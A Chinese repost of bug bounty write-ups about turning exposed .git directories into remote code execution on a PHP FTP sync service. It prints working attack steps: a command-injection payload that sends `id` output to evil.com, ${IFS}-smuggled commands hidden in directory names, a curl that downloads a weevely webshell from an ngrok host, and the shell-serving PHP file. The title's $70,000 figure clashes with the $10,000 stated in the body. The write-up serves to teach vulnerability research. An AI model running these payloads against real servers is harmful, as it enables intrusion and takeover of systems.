本文作者:Lev Shmelev
很乐意跟大家分享一下个人挖洞赚赏金的经验,欢迎交流。
提交.git的RCE漏洞获得7万美元
最近我参加了一个私人漏洞赏金计划,我通过四台主机上的开放 .git目录找到了RCE,而且我还创纪录地拿到了10000美元漏洞赏金。其实这个漏洞很简单,只用了半天时间,但大体上逻辑很清晰。
首先,收集容易发现的漏洞要先进行侦察,因此我在我的bash脚本中使用了一系列工具:
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt cat amass.txt | aquatone -ports xlarge -out aqua_$1 nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt
这不是最具体最全面的工具,大家可以自行决定添加其他工具,这些工具主要的作用是扫描大量主机。
点击nuclei查看这个项目的输出,可以发现几个主机上暴露的 .git/目录,通过这些目录可以下载源代码:
接下来,先使用git-dumper工具:
git-dumper http://example.com/.git/ output
我认为这是在代码中寻找漏洞的好机会,而且我也没有着急报告暴露的 .git。结果发现,在代码中,他们使用了对本地bash脚本的调用,通过shell_exec()函数保存和删除ftp用户,该函数采用了未经过滤的用户输入,这导致了RCE漏洞的出现。
为了制作请求,我还必须考虑到一个简单的验证,需要硬编码的密匙。
请求的最终结果:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1= [secret1]&secret2= [sha1 encoded secret2]
入口点将是deluser参数
下一步是验证漏洞本身,为此我通过注入shell_exec()对我的服务器做了一个测试curl请求,成功了
也可以通过向URI或通过POST主体发送base64编码的形式来读取命令的输出:
id命令的有效负载:
someusr;curl https://evil.com/ $(id|base64|tr -d “\n”)
所以只剩下上传shell了,唯一的障碍是缺乏对当前目录的写入权限,所以shell被上传到了uploads/上。
(为了生成shell,我使用了weevely工具)
如果按步骤描述这个过程:
1、将shell保存在本地的txt中,以便能够通过curl传输,并在自己的主机上建立服务器
2、用ngrok建立隧道
3、发送一个有效载荷,将我们的shell保存在uploads/shell.php中。
剩下的就是用weevely连接到上传的shell了
经过几天的帮助解决问题后,公司奖励了我一笔赏金(附上励志截图)
从泄露的PHP源代码中的Hardcore RCE漏洞,获取了3000美元
在此之前,我能够通过一个暴露的.git目录访问源代码,RCE漏洞就在这个目录中。在我探索了这个漏洞之后,我继续检查代码,寻找其他漏洞。幸运的是,我发现了另一个更复杂的RCE——通过目录创建功能。
首先,要查找源代码中的漏洞,需要确定潜在的切入点。SonarQube之类的工具可以用,但我更喜欢使用旧式grep。
以下是 PHP 的几个示例:
跨站脚本:
grep -Ri "\$_" . | grep "echo"
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
grep -Ri "\$_REQUEST" . | grep "echo"
命令执行:
grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
代码执行:
grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
SQL注入:
grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"
射频干扰/低频干扰:
grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "\$_"
第1章
扫完代码,我重点关注了这一段(如下图所示),这里用到了@exec()函数。通过这个函数,我将尝试获得 RCE。
这段代码的目的是为了确定文件的大小。首先,在第40行,调用scandir(),返回一个目录内容的数组。接下来,文件和目录的名称通过preg_replace()进行过滤,并发送给filesize64()函数,@exec()调用就在这里。
非常酷,但这段代码不接受任何用户输入的内容,除了/home/html/ftp-upload/uploads/OELxI386/目录的内容,我无法控制。因此,我把这段代码放在一边,等几个星期…
第2章
过了一会儿,我决定仔细检查一下我之前在这个资源上的RCE是如何修复的。我尝试使用不同的有效载荷,并意外地发现,如果我在adduser参数中指定两个由空格(test%20somename)分隔的值,例如在这个URL中:http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2] – 空格后的值将被用来在与PHP文件相同的位置创建一个同名的目录。
负责操上面这个的代码:
因此,用空格传递值,创建目录的代码将如下所示:
mkdir /home/html/ftp-upload/uploads/test somename
第3章
既然能创建我自己的目录,那么我觉得可以使用它向@exec()注入有效负载并使用此链实现 RCE。
第一个想法是尝试创建一个名称中包含有效负载的目录,这将向我的服务器发送请求。如果请求到达,则代码已成功执行。
因此,我使用了dig命令:
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
为了让scandir()读取具有这样名称的目录,我们在uploads/OELxI386/中创建它
要求:
但是由于在 payload 中使用了空格,所以没有任何效果,当它进入mkdir命令时,空格将 payload 分隔开并创建三个目录:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
因此,我们的 payload 不应该包含空格,可以用${IFS}代替。最终要求如下:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/ &secret1=[secret1]&secret2=[secret2 ]`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
太棒了!名称中带有有效载荷的目录已经创建,现在需要运行带有易受攻击的函数的脚本,读取该目录的内容。为此,我们需要转到http://example.com/ftp-upload/testSize.php
我们看到脚本已经运行:
请求已成功到达。这就是RCE!
让我们重复刚刚发生了什么:
1、我们发送一个请求,在我们需要的地方创建一个包含有效载荷的目录:
http://example.com/ftp-upload/sync.php ?adduser=test%20 uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9 .oastify.com&secret1=[secret1]&secret2=[secret2]
2、有效负载被发送到创建目录的脚本。
将在服务器上执行的命令是:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig ${IFS} rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
3.我们启动目录读取脚本:
http://example.com/ftp-upload/testSize.php
该脚本读取目录/home/html/ftp-upload/uploads/OELxI386/(我们将有效负载上传到其中)的内容
,并将其传递给filesize64()函数,在该函数中会调用我们的有效负载代码。
它被传递给filesize64()函数,在该函数中使用我们的有效载荷调用代码。
第 4 章
剩下的就是上传一个 shell,以便在服务器上无障碍地执行代码。
让我们继续进行复制步骤:
1.使用weevely创建一个 shell并将其保存为 txt
weevely generate 123pass shell.txt
2. 创建一个index.php文件,用于在我们的服务器上传 shell。
<?php $attachment_location = "shell.txt"; if (file_exists($attachment_location)) { header($_SERVER["SERVER_PROTOCOL"] . " 200 OK"); header("Cache-Control: public"); header("Content-Type: plane/text"); header("Content-Transfer-Encoding: Binary"); header("Content-Length:".filesize($attachment_location)); header("Content-Disposition: attachment; filename=shell.php"); readfile($attachment_location); die(); } else { die("Error: File not found."); }
当向这个脚本发出请求时,易受攻击的服务器将获取我们的shell.txt,并将其保存为shell.php。这样,shell.php就会被上传到易受攻击的服务器上。
3. 设置本地 PHP服务器并使用ngrok隧道连接
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
4. 最后一步是创建最终有效负载,将我们的 shell 上传到服务器。
由于服务器仍有过滤功能,所以需要动点脑筋,结果,我得到了以下的有效载荷:
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
有效载荷将在易受攻击的服务器上执行以下命令:
cd errors #To go to a writable directory curl rce.eu.ngrok.io -o shell.php #The command that will download the shell to the vulnerable server
由于服务器使用preg_match(‘/[\/:”*?<>|]+/’, $f)形式的过滤,因此无法在代码中使用斜杠。
5.我们调用脚本执行代码
http://example.com/ftp-upload/testSize.php
之后,我们在服务器上收到一个请求
然后我们检查errors/ 目录是否存在 shell
它就在那里!
6.剩下的就是连接它并执行命令
weevely http://example.com/ftp-upload/errors/shell.php 123pass
现在我们可以去附近的酒吧庆祝了。
经过几天的更正,团队奖励了我一笔赏金(按照传统,一张励志截图)
最后,祝大家狩猎愉快,赏金丰厚!
参考来源
https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
https://medium.com/@levshmelevv/hardcore-rce-via-directory-name-for-3-000-225ed58b41a9
文章来自:https://www.freebuf.com/